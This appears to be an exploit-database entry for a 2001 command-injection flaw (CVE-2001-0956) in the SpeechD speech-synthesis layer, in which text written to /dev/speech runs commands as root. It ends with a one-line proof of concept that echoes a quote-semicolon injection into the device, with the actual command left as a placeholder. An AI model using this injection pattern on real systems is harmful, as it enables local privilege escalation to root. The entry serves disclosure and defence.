SpeechD 0.1/0.2 - Privileged Command Execution

Author: Tyler Spivey
type: local
platform: unix
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date_added: 2001-09-11 
date_updated: 2012-09-06 
verified: 1 
codes: CVE-2001-0956;OSVDB-14001 
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source: https://www.securityfocus.com/bid/3326/info

SpeechD is a device-independent layer for speech synthesis under Linux, providing an interface for speech-based applications or device drivers.

SpeechD has been found to contain a flaw under certain implementations which can permit a local user to pass malcious commands to the /dev/speech device, and have them executed with the privilege level of the speechd user, which is usually root.

echo "';[hostile shell command]" >/dev/speech